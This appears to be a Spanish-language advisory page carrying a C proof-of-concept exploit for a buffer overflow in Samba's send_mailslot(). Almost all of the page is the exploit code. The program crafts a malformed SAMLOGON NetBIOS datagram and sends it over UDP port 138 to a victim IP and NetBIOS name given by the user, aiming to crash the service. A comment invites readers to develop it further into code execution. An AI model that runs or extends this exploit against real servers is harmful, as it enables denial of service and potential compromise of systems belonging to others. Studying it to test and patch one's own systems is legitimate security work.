Samba "send_mailslot()" Buffer Overflow Vulnerabilidad (Exploit)
una vulnerabilidad en Samba, que puede ser explotada por personas
 maliciosas para comprometer la seguridad de un sistema vulnerable, 
después de explotar el código se puede usar para probar su sistema 
para la mencionada vulnerabilidad .  
   
 Crédito:  
La información ha sido proporcionada por x 86. 
 






Exploit:
/*
 *
 * A remote attacker could send a specially crafted "SAMLOGON" domain
 * logon packet, possibly leading to the execution of arbitrary code with
 * elevated privileges. Note that this vulnerability is exploitable only
 * when domain logon support is enabled in Samba.
 *
 * ///////
 *
 * Sample/simple POC [crash only] by a bored guy at asmx86 gmail [com], further exploitation or not.. is left as an exercise to the reader.
 *
 * laneleb & petemir, a true love in this world! hi!
 *
 * kangaroo kangaroo...
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <stdint.h>

/* smb ripped defines/etc */

#define MAX_DGRAM_SIZE 576
#define MAX_NETBIOSNAME_LEN 16
typedef char nstring[MAX_NETBIOSNAME_LEN];
typedef char unstring[MAX_NETBIOSNAME_LEN*4];
enum node_type {B_NODE=0, P_NODE=1, M_NODE=2, NBDD_NODE=3};

#define PTR_DIFF(p1,p2) (/*(ptrdiff_t)*/(((const char *)(p1)) - (const char *)(p2)))

#define CVAL_NC(buf,pos) (((unsigned char *)(buf))[pos]) /* Non-const version of CVAL */
#define SSVALX(buf,pos,val) (CVAL_NC(buf,pos)=(unsigned char)((val)&0xFF),CVAL_NC(buf,pos+1)=(unsigned char)((val)>>8))

#define SSVAL(buf,pos,val) SSVALX((buf),(pos),((uint16_t)(val)))
#define SCVAL(buf,pos,val) (CVAL_NC(buf,pos) = (val))

/* A netbios name structure. */
struct nmb_name {
 nstring name;
 char scope[64];
 unsigned int name_type;
};

void safe_strcpy(char *a, char *b, uint32_t size)
{
    strcpy(b, a);
}

void put_name(char *dest, const char *name, int pad, unsigned int name_type)
{
    size_t len = strlen(name);

    memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? len : MAX_NETBIOSNAME_LEN - 1);
    if (len < MAX_NETBIOSNAME_LEN - 1)
    {
        memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len);
    }

    dest[MAX_NETBIOSNAME_LEN - 1] = name_type;
}

int put_nmb_name(char *buf,int offset,struct nmb_name *name)
{
    int ret,m;
    nstring buf1;
    char *p;

    if (strcmp(name->name,"*") == 0)
    {
        /* special case for wildcard name */
        put_name(buf1, "*", '\0', name->name_type);
    }
    else
    {
        put_name(buf1, name->name, ' ', name->name_type);
    }

    buf[offset] = 0x20;

    ret = 34;

    for (m=0;m<MAX_NETBIOSNAME_LEN;m++)
    {
        buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF);
        buf[offset+2+2*m] = 'A' + (buf1[m]&0xF);
    }
    offset += 33;

    buf[offset] = 0;

    if (name->scope[0])
    {
        /* XXXX this scope handling needs testing */
        ret += strlen(name->scope) + 1;
        safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope));

        p = &buf[offset+1];
        while ((p = strchr(p,'.')))
        {
            buf[offset] = PTR_DIFF(p,&buf[offset+1]);
            offset += (buf[offset] + 1);
            p = &buf[offset+1];
        }
        buf[offset] = strlen(&buf[offset+1]);
    }

    return(ret);
}

typedef struct exudp_s
{
    unsigned char msg_type;
    unsigned char flags;
    uint16_t dgm_id;
    uint32_t source_ip;
    uint16_t source_port;
    uint16_t dgm_len;
    uint16_t pOffset;
    struct nmb_name source_name;
    struct nmb_name dest_name;
} exudp;

/* code */

int send_udp(int ip, char *packet, unsigned int packetSize)
{
    int fd;
    struct sockaddr_in to;
    int len;

    if( (fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
        return 0;

    to.sin_family = AF_INET;
    to.sin_addr.s_addr = ip;
    to.sin_port = htons(138);

    if( (len = sendto(fd, packet, packetSize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr_in))) < 0)
    {
        perror("sendto");
        return 0;
    }

    return len;
}

int main(int argc, char *argv[])
{
    unsigned char samlogon[10240];
    unsigned int nlOffset;
    exudp dgPacket;

    printf("smb_mailslot() POC by asmx86@gmail.com\n\n");

    if(argc < 3)
    {
        printf("Usage: %s <uppercase victim's netbios name> <victim's ip>\n\n", argv[0]);
        exit(1);
    }

    if(strlen(argv[1]) > 15)
    {
        printf("[!] netbios victim's name too long\n");
        exit(1);
    }

    memset(samlogon, 0, sizeof(samlogon));

    dgPacket.msg_type = 0x11;
    dgPacket.flags = 1;
    dgPacket.dgm_id = 0xdead;
    dgPacket.source_ip = 0xdeadbeef;
    dgPacket.source_port = 0xc0fe;
    dgPacket.dgm_len = 0;
    dgPacket.pOffset = 0;

    strcpy(dgPacket.source_name.name, "ASMX86@GMAILCOM");
    strcpy(dgPacket.dest_name.name, argv[1]);

    nlOffset = 14;

    nlOffset += put_nmb_name((char *)&samlogon, nlOffset, &dgPacket.source_name);
    nlOffset += put_nmb_name((char *)&samlogon, nlOffset, &dgPacket.dest_name);

#define OFFSET 97

    nlOffset -= 4;
    SCVAL(samlogon, nlOffset+4, 0);
    SSVAL(samlogon, nlOffset+4+OFFSET, 18);
    SCVAL(samlogon, nlOffset+7, 0);
    SCVAL(samlogon, nlOffset+8, 0x25);
    SSVAL(samlogon, nlOffset+59, 397);

    SSVAL(samlogon, nlOffset+61, OFFSET);

    SSVAL(samlogon, nlOffset+63, 0);

    SSVAL(samlogon, nlOffset+36, 12);
    memcpy(&samlogon[nlOffset+39+(12*2)], "\\MAILSLOT\\NET\\NTLOGON", 21);

    memcpy(&samlogon[nlOffset+4+OFFSET+4], "\x41\x00\x41\x00\x00\x00", 6);
    memcpy(&samlogon[nlOffset+4+OFFSET+4+6-1], "\x42\x00\x42\x00\x00\x00", 6);
    memset(&samlogon[nlOffset+4+OFFSET+4+6+6], '\x43', 260); //play with this value ;)

    nlOffset = 576;

    dgPacket.dgm_len = nlOffset - 14;
    dgPacket.dgm_len = htons(dgPacket.dgm_len);

    memcpy(&samlogon, &dgPacket, 14);

    if(!send_udp(inet_addr(argv[2]), samlogon, nlOffset))
        fprintf(stderr, "[!] Error sending UDP packet\n");
    else
        fprintf(stderr, "[*] packet sent\n");

    return 0;
}
//eof